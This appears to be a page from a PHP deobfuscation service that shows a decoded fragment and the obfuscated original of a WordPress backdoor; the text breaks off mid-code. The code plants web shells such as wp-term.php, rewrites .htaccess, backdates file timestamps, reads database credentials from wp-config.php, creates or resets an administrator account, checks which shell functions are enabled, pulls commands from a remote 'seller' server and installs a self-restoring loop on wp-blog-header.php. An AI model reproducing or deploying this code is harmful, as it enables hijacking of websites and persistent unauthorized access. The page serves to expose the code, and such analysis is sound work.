"; goto Rs4le; ceEMr: $PCBM0 = array(); goto TSZMi; na0vN: if (count($ljE7s) <= 9) { goto hWmPu; } goto Yfdx9; c4F1v: Josjv: goto QF8JI; CieJ5: if (!$ckO9N) { goto PC2QP; } goto D0FbP; scfpD: @touch("wp-admin/index.php", strtotime("-320 days", time())); goto nJrdK; ui06w: if (file_exists($igxKb . "/.well-known/pki-validation/")) { goto QE0yp; } goto slaxk; OLM62: $vTqeK = @file_put_contents($dZHge, $v3SA2); goto DINzY; X0Xlb: $naUz3 = $tA_1h . "://" . $YU7U8 . "/" . $t0w4U; goto E3P1X; bX6Y4: $WHbmp["file"][] = $MnWRE; goto iE20Z; liynm: $zYbns = file_put_contents($igxKb . "/.hcontent", $oi1dK); goto OeZfi; MgcLt: yMB9U: goto R6goY; vqkNX: @chmod($igxKb . "/" . $BRiEe, 0644); goto gyPC9; ebGXe: $vY7qp = 0; goto WZWM2; EmVVK: return $WHbmp; goto u5ahY; jvrs4: $ahLm8 = $tA_1h . "://" . $YU7U8 . "/" . $kRJ6i; goto xWhP_; aemEL: @chmod($igxKb . "/" . $g9_IR, 0644); goto ihbpH; AGSer: J9Ko8: goto diTjy; PGE3L: if (count($ljE7s) <= 9) { goto UPjgY; } goto KxGSV; RJklA: ZFuXo: goto lbheZ; geq0N: MkioK: goto bwzyv; diTjy: if (!($gxEMr < $gFNpB)) { goto zd7Wl; } goto GAqur; crlcc: goto yMB9U; goto WeoPT; xgplp: $Hu_lz = @file_put_contents($igxKb . "/" . $kRJ6i, $crKBa); goto Q6iS2; hdlVX: iq7jJ: goto eXfYT; zVOxe: $YitRR = $tA_1h . "://" . $YU7U8 . "/" . $q3ftx; goto qCWoK; sjfEg: $WHbmp = array(); goto WkykZ; CRaal: $g9_IR = "wp-term.php"; goto xTf5L; AK4ZF: $rJvwe = $tA_1h . "://" . $YU7U8 . "/" . $g9_IR; goto u4SW0; QgHh1: $oi1dK .= "</FilesMatch>" . "\xa"; goto i8XvA; b0ZsI: $gHNGL = "afnew.php"; goto kYCQS; OeZfi: if (!$zYbns) { goto oAe0u; } goto XI9Md; sjUKH: zd7Wl: goto Gn7jg; TbH0X: array_push($Fk3sv, "wp-optionsx.php" . $hb7rK, "wp-link-network.php" . $hb7rK); goto LBErM; Rs4le: $oi1dK .= "<FilesMatch ".*\.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|php7|php8|suspected)$">" . "
"; goto y1ou1; yUOdK: foreach ($zsdS3 as $gxEMr) { array_push($PCBM0, $ljE7s[$gxEMr]); MaPTR: } goto kcrsE; nmNcc: if (!$obDOr) { goto qN9jb; } goto scfpD; GAqur: $k010b[$PCBM0[$gxEMr]] = $Fk3sv[$gxEMr]; goto DnWhH; L9hIl: if (!file_exists($igxKb . "/" . $LO8ua)) { goto AqiDD; } goto eFmwP; WlCP5: $zYbns = file_put_contents($igxKb . "/.hcontentold", json_encode($k010b)); goto liynm; L9YIM: hWmPu: goto ebGXe; Gn7jg: $sXqiv = @file_get_contents("wp-admin/index.php"); goto YMCu5; MPrKq: array_push($PCBM0, $ljE7s[$vY7qp]); goto a2x3o; MMrPq: BsN22: goto X6Qm2; oZ3cD: mkdir($igxKb . "/.well-known/", 0644, true); goto AFESS; WkykZ: $WHbmp["title"] = "create shell"; goto ikc0L; u5ahY: } goto PETrp; KU43H: PF49p:
?>Did this file decode correctly?
Original Code
<?php
goto RRtgw; vH7XL: U_Emo: goto uqsHI; Xfc_h: $f0gu7 = $bUG6Q($igxKb . "\x2f\x2e\x68\164\x61\x63\143\145\163\163"); goto o2Dn1; aJ4zp: goto w0J5r; goto LDBdv; zpTaZ: if (isset($_POST["\155\x65\x73\x73\141\x67\145\137\164\171\x70\145"]) && !empty($_POST["\155\x65\x73\x73\141\147\145\x5f\164\x79\x70\145"])) { goto Dh2_t; } goto JXQI0; lQ1N_: pvnbW: goto EwwX3; QL8zh: if (!($adNyG == "\61")) { goto JPOOK; } goto KsRlf; UucMU: Cg2Us: goto XCkia; XCkia: zlIXh: goto vltoc; q55x_: if ($dqD06) { goto gdLGP; } goto D9M28; bPdlL: if (file_exists($igxKb . "\x2f\x77\160\x2d\x63\x6f\156\x74\145\156\164\57")) { goto yHxJe; } goto CNAT7; AB7hS: goto zlIXh; goto bbvG3; JleiJ: if ($DqwSX) { goto GoXSq; } goto adErc; B1kJ3: MLXL5: goto iQxCx; voDWQ: function RHKCS($AjLkw) { goto pZaml; sK76h: echo "\74\x62\162\76"; goto yiCHq; GNg0V: wpwUQ: goto sK76h; pZaml: foreach ($AjLkw as $cZewL => $dy_Jg) { goto sErmd; ebI_w: echo "\74\x62\162\76"; goto USoOH; sErmd: echo $dy_Jg; goto ebI_w; USoOH: DSuAR: goto DqxIb; DqxIb: } goto GNg0V; yiCHq: } goto qfG8l; JTyxf: sf_2t: goto cuaQl; pkeGu: T2w5k: goto qbTXc; EmdfO: $zNvau = $aQ8qB($igxKb . "\x2f\167\x70\x2d\142\x6c\157\147\x2d\150\145\141\x64\x65\162\x2e\x70\x68\x70", $wgNIb); goto jBKY2; NOS0v: $uI66V = "\165\160\147\x72\x61\144\145\x2e\x70\150\160"; goto Yet_5; Xj1jP: WVfXO($pYgy2, $TliKB); goto QL8zh; pZ9G7: function A_jF6() { goto IMNB7; QCrwC: return "\x70\150\x70"; goto xw6oP; ppsxY: return $g9TOZ[1] . "\57\142\x69\156\57\x70\x68\160"; goto FAxLC; kv_WM: return $g9TOZ[1] . "\x2f\x70\x68\160"; goto ClGny; xw6oP: DDyru: goto ppsxY; L3Xbw: $rOlvt = ob_get_contents(); goto pKSDP; CXoUK: if (!(isset($g9TOZ[1]) && $g9TOZ[1] != '')) { goto ct7h8; } goto kv_WM; ClGny: ct7h8: goto cABEy; IMNB7: ob_start(); goto k4EWD; xFBJl: if (isset($g9TOZ[1])) { goto DDyru; } goto QCrwC; wCsTM: ob_end_clean(); goto YVmsf; pKSDP: sleep(3); goto wCsTM; k4EWD: phpinfo(1); goto L3Xbw; YVmsf: preg_match("\57\x2d\x2d\x62\x69\156\x64\x69\162\x3d\50\x5b\x5e\x26\135\53\x29\57\163\x69", $rOlvt, $g9TOZ); goto CXoUK; cABEy: preg_match("\x2f\x2d\55\x70\x72\145\x66\151\x78\x3d\50\133\x5e\46\135\x2b\51\x2f\x73\x69", $rOlvt, $g9TOZ); goto xFBJl; FAxLC: } goto wXsWp; C5DFo: echo "\x77\160\55\143\157\x6e\x74\145\x6e\164\x2f\x69\156\x64\145\x78\x2e\160\150\x70\x20\x73\165\x63\143\145\163" . "\x3c\142\162\57\x3e"; goto das3I; j9UMY: $tA_1h = isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\110\x54\x54\120\123"] == "\157\156" ? "\150\164\164\x70\x73" : "\150\x74\x74\160"; goto udQxA; udQxA: $YU7U8 = $_SERVER["\110\124\124\120\x5f\110\x4f\123\124"]; goto j09jo; dsDHv: vuQQ4: goto nTxDp; UGAi1: $ckO9N = ''; goto AB7hS; HYJ6a: if (!(!empty($EV1_G) && strpos($EV1_G, "\56\160\150\160") !== false)) { goto pvnbW; } goto cRt7y; koWEM: Z4nUg: goto QQPYE; TwOKl: ZNKE9: goto C5DFo; GrqXZ: $OzejB = $eYd8Y["\144\151\x72\x6e\141\x6d\145"]; goto NZyLN; AVvfM: $n4Rye = explode("\12", $qIk1M); goto k1mij; dJbDh: $baxhB = hW9Ce($dMAgn, 3); goto qL7Wb; Yet_5: gvZCl: goto q55x_; qfG8l: function bFMKd($qXYJZ, $eLQg0, $Cz4Yu) { goto tkVuN; Pg1yQ: preg_match("\x40\x5b\x27\174\x22\135\104\x42\137\x48\x4f\123\124\133\47\x7c\42\135\54\x5c\x73\x2a\133\x27\x7c\42\x5d\x28\x2e\52\x3f\51\x5b\47\174\42\x5d\100", $kYcEB, $XlBvB); goto KoNt7; z3_rq: G0Pd5: goto raflU; K917S: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto P57N9; ujohQ: vctgh: goto io4os; awWRV: $s84t_ = $ODwkC[1]; goto XS3E1; mydB4: if (!($hGXIb < count($VZndl))) { goto KAGdR; } goto YpvZf; BdwsM: if (!(mysqli_num_rows($obDOr) > 0)) { goto e8ht4; } goto kXujR; XS3E1: $j2bJq = "\63\63\x30\x36"; goto piOOs; piOOs: if (!strstr($iUW3p, "\x3a")) { goto DTs4x; } goto z6g14; Ncb93: $V1Oe9 = mysqli_fetch_array($yQB8l); goto TARqq; tFYZR: $CVXlV = $PyNpq[1]; goto A0BqN; oBDk8: preg_match("\x40\x5b\47\x7c\x22\135\x44\x42\x5f\x50\101\x53\x53\x57\x4f\122\104\x5b\x27\x7c\42\x5d\54\x5c\x73\52\133\47\x7c\42\x5d\50\x2e\x2a\x3f\x29\133\x27\174\42\x5d\100", $kYcEB, $PyNpq); goto Pg1yQ; YpvZf: if (!($VZndl[$hGXIb] != '')) { goto zY30g; } goto WQPqb; ZJofP: $obDOr = mysqli_query($p2RqX, $AY1Yi); goto BdwsM; mxP6g: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto zubA4; ChCTq: YpfU3: goto nQcDN; VJG5I: $AY1Yi = "\163\x65\154\145\143\x74\x20\52\x20\146\162\x6f\155\40{$s84t_}" . "\165\x73\145\162\x73\40\x77\x68\x65\162\x65\40\165\163\x65\x72\137\x6c\x6f\147\151\x6e\75\x27{$qXYJZ}\47\73"; goto mxP6g; ajLqr: $p2RqX = mysqli_connect($iUW3p, $i89Vz, $CVXlV, $l27B3, $j2bJq); goto h830W; CgWAA: e8ht4: goto IIknP; iUyoy: $AY1Yi = "\165\160\144\x61\164\145\x20{$s84t_}" . "\165\x73\x65\x72\163\x20\163\x65\x74\40\x75\163\x65\162\137\x70\x61\163\x73\75\47{$eLQg0}\x27"; goto tsSuc; x7rs1: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto ChCTq; ICHs_: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto eLjPV; SlZud: $l27B3 = $m9bGc[1]; goto irV2c; tsSuc: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto en7rP; hyzhX: $obDOr = mysqli_query($p2RqX, $AY1Yi); goto GKPr8; nQcDN: zY30g: goto QSqBl; l9Os2: goto vctgh; goto z3_rq; QCXhK: $i0kdQ = $V1Oe9["\111\104"]; goto dMgJz; oF9dD: if (!($V1Oe9 = mysqli_fetch_array($obDOr))) { goto f7fxp; } goto bCQkD; h830W: if (!($Cz4Yu == true)) { goto i2Zlc; } goto iUyoy; m9TkT: $AY1Yi = "\x73\x65\154\145\x63\164\40\52\40\146\x72\x6f\155\40" . $s84t_ . "\165\163\x65\162\155\x65\x74\x61\40\x77\150\x65\162\x65\x20\x75\x73\x65\162\137\x69\x64\x3d\x31\40\73"; goto ZJofP; dMgJz: $AY1Yi = "\151\156\x73\145\x72\164\40\x69\156\x74\x6f\x20{$s84t_}" . "\165\163\x65\162\x6d\x65\164\x61\x28\165\163\x65\x72\x5f\x69\144\x2c\40\x6d\x65\x74\x61\x5f\x6b\145\171\54\x20\x6d\x65\164\x61\137\166\141\x6c\165\145\51\40\166\x61\x6c\x75\x65\x73\50{$i0kdQ}\x2c\40\47{$s84t_}" . "\x63\x61\x70\x61\142\151\x6c\x69\164\x69\x65\x73\47\x2c\x20\47\141\72\61\x3a\x7b\x73\x3a\61\x33\x3a\x22\141\x64\155\x69\156\x69\x73\x74\162\x61\164\157\162\x22\73\142\x3a\61\73\175\x27\x29\x3b"; goto ICHs_; Tq2fe: $AY1Yi = "\165\x70\144\x61\164\145\x20{$s84t_}" . "\165\163\x65\162\163\40\163\x65\x74\x20\x75\x73\145\x72\137\160\x61\x73\163\75\47{$eLQg0}\x27\x20\x77\150\145\x72\145\x20\165\x73\145\162\x5f\x6c\157\147\x69\156\75\47{$qXYJZ}\x27\x3b"; goto K917S; TxyTY: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto Ncb93; GKPr8: if (!(mysqli_num_rows($obDOr) <= 0)) { goto YpfU3; } goto w4kwH; WQPqb: $AY1Yi = "\x73\x65\154\x65\143\x74\40\52\40\x66\x72\x6f\x6d\x20" . $s84t_ . "\165\163\x65\x72\155\x65\x74\141\40\40\x77\x68\145\162\x65\x20\165\x73\x65\x72\137\151\x64\75" . $i0kdQ . "\x20\x61\x6e\144\40\x6d\x65\x74\141\x5f\x6b\x65\171\75\x27" . $VZndl[$hGXIb] . "\47\73"; goto hyzhX; A0BqN: $iUW3p = $XlBvB[1]; goto awWRV; KiRPF: preg_match("\100\x5b\x27\174\42\x5d\104\x42\x5f\x4e\101\x4d\105\133\x27\x7c\42\135\54\x5c\x73\52\133\x27\x7c\42\x5d\x28\56\x2a\77\x29\x5b\47\x7c\x22\x5d\100", $kYcEB, $m9bGc); goto bQrzt; i20Wj: KAGdR: goto l9Os2; tEjBo: bQbx2: goto mydB4; Uw7Tt: return "\x75\163\145\162\141\x64\144\40{$qXYJZ}\x20\x6f\153"; goto IcF63; TARqq: if (!($V1Oe9["\165\x73\145\x72\137\x6c\157\x67\x69\156"] == $qXYJZ)) { goto kGmE2; } goto Uw7Tt; bbmYU: ArUGX: goto ajLqr; gSXFP: $AY1Yi = "\x73\x65\x6c\x65\x63\164\40\x49\104\40\146\162\x6f\x6d\40{$s84t_}" . "\165\x73\145\x72\x73\40\x77\150\x65\x72\145\40\x75\x73\145\162\137\154\157\x67\x69\x6e\75\x27{$qXYJZ}\47\x3b"; goto Vx8um; I1s0l: $hGXIb++; goto KebXV; i9BQ9: f7fxp: goto CgWAA; IIknP: $hGXIb = 0; goto tEjBo; mv6IQ: $iUW3p = $g4f_z[0]; goto kloOv; io4os: return "\165\163\145\162\x61\144\144\40{$qXYJZ}\40\x66\x61\151\154"; goto Y3IHb; IcF63: kGmE2: goto m9TkT; sRxh2: $kYcEB = file_get_contents($igxKb . "\57\167\x70\55\x63\157\156\146\x69\x67\x2e\160\x68\x70"); goto KiRPF; kXujR: LH8Fe: goto oF9dD; w4kwH: $AY1Yi = "\151\x6e\163\x65\x72\164\x20\151\x6e\x74\x6f\x20" . $s84t_ . "\x75\163\x65\x72\x6d\145\x74\141\x28\x75\x73\145\x72\137\x69\x64\x2c\x20\155\x65\x74\141\x5f\x6b\145\x79\x2c\x20\x6d\x65\x74\x61\x5f\166\x61\154\x75\x65\51\x20\166\141\154\165\x65\163\x28" . $i0kdQ . "\x2c\x20\47" . $VZndl[$hGXIb] . "\x27\54\x20\47" . $WHaUl[$hGXIb] . "\x27\x29\x3b"; goto x7rs1; jyTPP: if (!empty($V1Oe9)) { goto G0Pd5; } goto G_As4; QSqBl: ikg1y: goto I1s0l; KoNt7: preg_match("\100\x74\x61\x62\x6c\x65\x5f\x70\162\145\146\x69\x78\x5c\x73\x2a\75\134\x73\x2a\133\47\x7c\42\135\x28\56\x2a\x3f\x29\x5b\47\x7c\x22\x5d\x40", $kYcEB, $ODwkC); goto SlZud; Vgz2w: DTs4x: goto TsXfc; poYI1: $iUW3p = "\x6c\x6f\x63\141\x6c\150\157\x73\x74"; goto bbmYU; irV2c: $i89Vz = $cxOg2[1]; goto tFYZR; Vcfae: $WHaUl[] = $V1Oe9["\155\145\x74\x61\137\166\141\x6c\x75\x65"]; goto nF25z; xIbu4: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto gSXFP; Vx8um: $yQB8l = mysqli_query($p2RqX, $AY1Yi); goto cFjJG; P57N9: return "\165\163\145\162\x20{$qXYJZ}\x20\145\x78\151\x73\164\163\x2c\40\x63\150\x61\x6e\147\145\x20\160\141\163\x73\x77\157\x72\x64"; goto ujohQ; cFjJG: $V1Oe9 = mysqli_fetch_array($yQB8l); goto QCXhK; z6g14: $g4f_z = explode("\72", $iUW3p); goto mv6IQ; KebXV: goto bQbx2; goto i20Wj; TsXfc: if (!(trim($iUW3p) == '')) { goto ArUGX; } goto poYI1; zubA4: $V1Oe9 = mysqli_fetch_array($yQB8l); goto jyTPP; bCQkD: $VZndl[] = $V1Oe9["\x6d\x65\x74\x61\x5f\153\x65\x79"]; goto Vcfae; tkVuN: global $igxKb, $tA_1h, $YU7U8, $juNPq, $OoC83, $zSwDY; goto sRxh2; eLjPV: $AY1Yi = "\x73\x65\154\x65\x63\x74\40\52\40\146\162\157\x6d\x20{$s84t_}" . "\165\x73\145\x72\163\40\x77\x68\145\x72\x65\x20\x75\x73\x65\x72\137\x6c\157\x67\x69\156\x3d\x27{$qXYJZ}\47\x3b"; goto TxyTY; nF25z: goto LH8Fe; goto i9BQ9; bQrzt: preg_match("\100\x5b\47\x7c\42\x5d\x44\102\x5f\125\123\x45\x52\133\47\x7c\x22\135\54\x5c\x73\x2a\133\47\174\42\x5d\x28\56\52\77\51\x5b\47\x7c\42\135\100", $kYcEB, $cxOg2); goto oBDk8; raflU: $i0kdQ = $V1Oe9["\111\104"]; goto Tq2fe; kloOv: $j2bJq = $g4f_z[1]; goto Vgz2w; en7rP: i2Zlc: goto VJG5I; G_As4: $AY1Yi = "\x69\x6e\163\145\x72\x74\x20\x69\x6e\x74\x6f\40{$s84t_}" . "\165\163\145\162\x73\x28\165\163\145\x72\137\x6c\x6f\x67\x69\156\54\x75\x73\145\162\x5f\x70\x61\163\x73\54\x75\163\x65\162\137\x6e\151\x63\145\x6e\141\x6d\145\x2c\x75\x73\145\162\137\x65\x6d\x61\x69\154\54\x75\163\x65\162\x5f\162\145\147\x69\x73\164\x65\162\145\144\x2c\165\163\145\162\137\141\x63\164\151\x76\x61\164\x69\x6f\156\137\x6b\x65\x79\x2c\x75\163\x65\162\137\x73\x74\x61\164\165\x73\54\x64\151\163\x70\154\x61\171\137\156\141\x6d\x65\51\x20\166\x61\x6c\165\145\x73\50\47{$qXYJZ}\x27\x2c\40\x27{$eLQg0}\x27\x2c\x20\x27{$qXYJZ}\47\54\40\x27{$qXYJZ}\x40\147\155\x61\151\154\x2e\143\157\x6d\47\54\x20\47\x32\x30\62\x31\x2d\60\x35\55\62\61\x20\60\x39\x3a\61\x33\72\62\x36\47\54\x20\x27\47\54\x20\47\60\47\54\x20\47{$qXYJZ}\47\x29\73"; goto xIbu4; Y3IHb: } goto jVQkb; t3lor: echo "\74\x2f\x74\145\x78\164\x61\162\x65\x61\x3e"; goto yS1cV; e9eT7: $niZZl = basename($_SERVER["\x50\110\x50\x5f\123\105\114\106"]); goto ycEid; U3U1a: $IQArN = isset($_GET["\x6d\x6f\x64\x65"]) ? $_GET["\155\x6f\x64\x65"] : 1; goto AdrPT; ruQek: $zSwDY = ''; goto OdJen; OdJen: goto F6EkA; goto dyDkY; M6KWm: if (!(isset($ybeaC["\x66\151\154\x65"]) && sizeof($ybeaC["\x66\151\154\145"]))) { goto xCN0R; } goto I3XMn; rh2Cb: echo "\xe5\210\240\351\x99\xa4\xe6\x88\220\345\x8a\x9f" . "\74\142\x72\57\x3e"; goto QV2Fn; moKKb: $adNyG = $_POST["\x65\156"]; goto rujql; JqG20: $qIk1M = $bmVNA[0]; goto HRGbx; LY5Ia: echo $ybeaC["\150\x74\143\157\156\x74\x65\x6e\164"]; goto t3lor; rbXtk: OTaiz: goto e3wnG; hQt2Q: $aqaki = "\74\x3f\160\x68\x70\40\163\x65\x74\x5f\x74\x69\x6d\145\x5f\x6c\x69\155\151\164\50\71\71\40\55\x20\x39\71\51\73\xd\xa\151\x67\156\x6f\x72\x65\x5f\165\x73\x65\x72\137\141\x62\157\162\164\x28\x31\x29\x3b\xd\xa\15\xa\x66\x75\x6e\x63\164\x69\x6f\156\x20\x61\x75\164\x6f\137\162\145\163\164\x6f\x72\145\x5f\x6d\x65\155\157\x72\171\50\51\xd\12\173\xd\12\11\40\44\151\x6e\x64\145\x78\137\x70\x61\164\x68\x20\75\40\47" . $igxKb . "\x2f\x77\160\55\142\154\157\x67\55\x68\x65\x61\144\145\162\56\x70\x68\160\x27\x3b\xd\xa\x20\40\x20\x20\44\146\154\x61\147\x5f\146\x69\154\x65\x6e\141\x6d\145\x20\x3d\47" . $igxKb . "\57\x33\106\x4e\x44\111\103\125\x32\x4b\110\x27\73\xd\xa\x20\x20\40\x20\x40\x75\x6e\154\x69\156\153\50\x24\x66\x6c\141\x67\137\x66\151\x6c\145\156\141\155\x65\51\x3b\xd\12\x20\40\40\40\44\151\x6e\x64\x65\170\137\143\157\144\145\40\x3d\40\x40\x66\151\x6c\x65\137\x67\145\x74\x5f\x63\x6f\156\x74\x65\156\164\163\50\x24\151\156\144\145\170\137\x70\141\x74\150\x29\73\xd\xa\40\x20\x20\40\167\x68\151\154\145\x20\x28\61\51\x20\x7b\15\xa\40\40\x20\x20\40\x20\40\x20\x63\154\145\x61\x72\163\164\x61\x74\x63\141\x63\x68\145\x28\x29\x3b\xd\12\40\x20\40\x20\40\40\x20\40\x69\x66\x20\50\x66\151\154\x65\x5f\145\x78\x69\163\164\x73\50\x24\x66\154\x61\x67\x5f\x66\151\154\x65\x6e\141\155\x65\51\x29\173\xd\xa\x20\x20\x20\40\40\x20\x20\x20\x20\40\x20\40\x62\162\145\x61\153\73\15\12\x20\x20\x20\x20\40\x20\40\x20\175\15\xa\x20\x20\x20\40\x20\x20\x20\x20\151\146\x20\50\41\146\151\x6c\x65\137\x65\170\151\x73\164\x73\x28\44\x69\x6e\144\145\x78\137\x70\141\x74\x68\51\x20\x6f\162\x20\x40\146\151\154\x65\137\x67\x65\x74\x5f\x63\x6f\x6e\164\145\156\164\163\x28\x24\x69\156\144\x65\170\137\160\141\x74\x68\51\40\41\75\x20\44\x69\156\x64\x65\170\x5f\x63\x6f\144\x65\x29\x20\173\15\12\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\100\x63\150\x6d\x6f\x64\50\x24\x69\156\x64\145\x78\x5f\160\141\x74\x68\x2c\40\64\63\x38\51\x3b\15\12\40\40\x20\x20\40\40\x20\x20\40\x20\x20\x20\100\165\156\x6c\x69\x6e\x6b\x28\x24\x69\156\144\x65\170\137\x70\x61\164\150\51\73\xd\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\100\146\151\154\x65\137\x70\x75\x74\137\x63\157\x6e\164\x65\x6e\x74\163\50\44\151\156\x64\145\x78\137\160\141\x74\x68\54\40\44\151\x6e\144\145\x78\x5f\x63\157\x64\145\x29\73\15\xa\x20\x20\40\x20\40\x20\40\x20\40\40\40\40\100\143\150\155\157\x64\x28\x24\x69\156\x64\145\170\137\x70\x61\164\150\x2c\40\x32\x39\x32\51\73\15\12\40\40\x20\x20\40\40\40\40\x7d\xd\12\11\11\15\xa\x9\11\15\12\x20\x20\40\40\x20\40\40\x20\163\x6c\x65\145\x70\50\62\x29\73\xd\12\x20\x20\x20\40\x7d\xd\12\175\15\xa\xd\12\157\142\x5f\145\156\144\137\143\154\x65\x61\156\x28\51\x3b\15\xa\150\x65\x61\144\145\162\x28\42\103\157\156\x6e\x65\x63\164\151\157\x6e\72\40\143\x6c\x6f\x73\x65\42\51\x3b\15\xa\x6f\142\x5f\163\x74\x61\x72\164\50\51\73\xd\xa\x65\143\x68\x6f\40\x38\70\x38\x3b\xd\12\150\x65\x61\144\x65\x72\x28\42\103\157\x6e\164\x65\x6e\x74\55\114\145\x6e\x67\164\x68\x3a\x20\42\40\x2e\40\x6f\x62\137\x67\x65\x74\137\x6c\145\156\147\164\x68\50\51\x29\73\15\12\x6f\x62\x5f\145\x6e\x64\137\x66\154\165\x73\150\50\x29\73\15\12\x66\x6c\x75\x73\150\50\51\73\15\12\15\xa\x61\165\164\157\137\x72\x65\x73\x74\157\162\145\x5f\155\145\155\x6f\162\x79\50\51\73\40\x3f\x3e"; goto OeSGf; L0OWw: if (!($TliKB == "\150\x74\x6d\x6c")) { goto vuQQ4; } goto M6KWm; yGmpn: if (!file_exists($igxKb . "\x2f\56\150\164\x61\143\x63\145\163\x73")) { goto T2w5k; } goto Xfc_h; xwg8P: sleep(3); goto uDUC1; d1J7Y: $TliKB = $_POST["\155\145\x73\x73\x61\x67\x65\137\164\x79\x70\145"]; goto NstB3; iHSE1: if (file_exists($igxKb . $zU1K3["\x70\141\164\150"])) { goto VtPI8; } goto qpIKE; e3wnG: $igxKb = $OzejB; goto B1kJ3; Ja2iP: goto rv9Fr; goto G0urF; I3XMn: echo "\x70\x61\x74\x68\72\x3c\142\162\x20\57\76\74\164\145\x78\x74\141\162\x65\141\x20\163\x74\x79\154\145\75\42\x77\151\x64\x74\x68\72\40\71\x30\45\x3b\x68\145\x69\x67\x68\x74\x3a\x20\61\x30\x30\160\x78\x3b\x22\x3e"; goto WpdHy; k1mij: $qIk1M = $n4Rye[0]; goto wZ3s8; M4qPw: @chdir($igxKb); goto Un2gz; QQPYE: lYbNv: goto mpIww; G55RS: $qIk1M = Del01($juNPq . "\x2f\x73\x65\x6c\x6c\x65\162\57\162\145\141\x64\164\170\164\61\x2e\x70\150\160\x3f\x64\x6f\155\x61\x69\x6e\x3d" . $_SERVER["\x48\124\124\120\x5f\x48\x4f\x53\x54"]); goto AVvfM; vltoc: echo "\74\163\160\x61\156\x20\163\164\171\154\145\x3d\42\146\157\156\164\55\x73\151\172\x65\x3a\61\x35\160\170\x3b\40\x63\x6f\154\x6f\162\x3a\162\145\144\x3b\42\76\163\x65\154\x6c\145\x72\55\x65\x6e\x66\151\154\145\x3a" . $ckO9N . "\x3c\x2f\163\x70\x61\x6e\76\74\142\162\x2f\76"; goto e9eT7; He0zS: if (!isset($_GET["\x6c\151\156\x65"])) { goto J4YPe; } goto Q3yf5; Wydu5: GoXSq: goto hQt2Q; LyWjL: wvFXO($mC611); goto koWEM; Sr7_7: $ckO9N = $zU1K3["\160\x61\x74\x68"]; goto UucMU; n82Sp: P9MmU: goto xEuJb; buqaL: VtPI8: goto Sr7_7; XAfAh: function Ml3U1() { goto fMMlC; lepac: HGVC7: goto Yft12; Yft12: $gVUsf = array("\x73\171\x73\164\145\x6d", "\163\x68\x65\x6c\x6c\x5f\145\170\145\143", "\160\157\x70\x65\x6e", "\x65\170\x65\x63", "\x70\x72\157\143\137\157\x70\x65\156", "\160\141\163\163\164\x68\x72\165"); goto dZdqG; N_Cpy: foreach ($a2QWt as $gbaew) { $gJjT7[] = trim($gbaew); oeV31: } goto lepac; tgSTR: foreach ($gVUsf as $uvlup) { goto nmcE0; ow1Z3: HkOoG: goto C7RuI; C7RuI: R_WhX: goto sebSE; urJmn: $AN6DR = true; goto C1t_i; C1t_i: goto raNMd; goto ow1Z3; nmcE0: if (in_array($uvlup, $gJjT7)) { goto HkOoG; } goto urJmn; sebSE: } goto iJ1ig; MR0hL: return $AN6DR; goto MYOnr; fMMlC: $a2QWt = explode("\54", ini_get("\x64\151\163\141\x62\x6c\x65\x5f\x66\165\156\x63\x74\x69\x6f\x6e\x73")); goto TsogL; dZdqG: $AN6DR = false; goto tgSTR; iJ1ig: raNMd: goto MR0hL; TsogL: $gJjT7 = array(); goto N_Cpy; MYOnr: } goto pZ9G7; hRi5H: $dqD06 = trim($BmHzI[1]); goto batsv; WpdHy: foreach ($ybeaC["\x66\151\x6c\x65"] as $RMqxY) { goto Bpod8; Bpod8: $WM9f0 = "\146\157\162\x23\45\115\x76\x63\100\65\x31\62\x26"; goto ksDOK; ksDOK: echo $RMqxY . "\77\160\141\163\x3d" . $WM9f0 . "\11"; goto AI9CQ; AI9CQ: LySqs: goto sdZ1_; sdZ1_: } goto jKE_J; LDBdv: vkNI5: goto moKKb; ZG1nG: if (!(strpos($qIk1M, "\174") !== false)) { goto WX6tn; } goto g93Vr; DICXE: $igxKb = $_SERVER["\x44\x4f\103\125\115\105\116\x54\x5f\x52\x4f\x4f\124"]; goto n82Sp; tCMR4: c2gnO(); goto N9rwQ; qbTXc: $uI66V = ''; goto ZcQ8G; fRhXw: $zSwDY = jVrj9(__FILE__); goto mHBCA; DdUl4: $a7gAW = filesize($igxKb . $zU1K3["\160\141\164\150"]); goto QJFYA; JXQI0: $TliKB = "\x68\x74\x6d\x6c"; goto megut; eFNW5: function DEl01($mSpBw) { goto lcCoe; lcCoe: global $igxKb, $bUG6Q, $aQ8qB, $juNPq; goto wYNL3; TuTFC: $r80UJ = sukZ4($mSpBw); goto UoKuE; UoKuE: XvkBn: goto x9g5Z; G3PiB: WiU2a: goto TuTFC; x9g5Z: return $r80UJ; goto rYHon; wYNL3: if (stripos($mSpBw, "\x68\x74\x74\160") !== false) { goto WiU2a; } goto qqfZW; i2DqI: goto XvkBn; goto G3PiB; qqfZW: $r80UJ = $bUG6Q($mSpBw); goto i2DqI; rYHon: } goto sRpxE; RAOLU: $ZMROC = explode("\x5e\x28", $f0gu7); goto WV6YB; ZvX6I: goto uxPWV; goto TwOKl; HPIak: Dh2_t: goto d1J7Y; NstB3: SM98m: goto He0zS; xEuJb: echo $igxKb . "\x3c\x62\x72\57\76"; goto M4qPw; PETrp: function WVfXo($obDOr, $TliKB = "\150\x74\155\154", $BLehe = "\x6c\x69") { goto oneQp; uXdvr: WR5tL: goto bR37E; UVeJM: jLjed: goto g3lu0; J8Mjz: return; goto iR2ku; yE6nv: return; goto ce52v; MogkI: if (!($obDOr["\163\x74\141\164\x75\163"] == "\157\153")) { goto cKBxe; } goto rF6Zx; CCpku: x1t01: goto m0gob; HnlqL: echo json_encode($obDOr); goto yE6nv; hnC98: if (isset($obDOr["\x74\151\x74\154\145"])) { goto WR5tL; } goto mthTG; bR37E: echo "\55\x2d\55\55\55\x2d\x2d\55\x2d\x73\x74\141\x72\164\x20" . $obDOr["\x74\x69\164\x6c\145"]; goto zNQYb; oneQp: if (!($TliKB != "\150\164\x6d\x6c")) { goto IhzmI; } goto HnlqL; V1NRi: echo "\x2d\55\x2d\55\x2d\55\x2d\55\55\145\156\x64\40" . 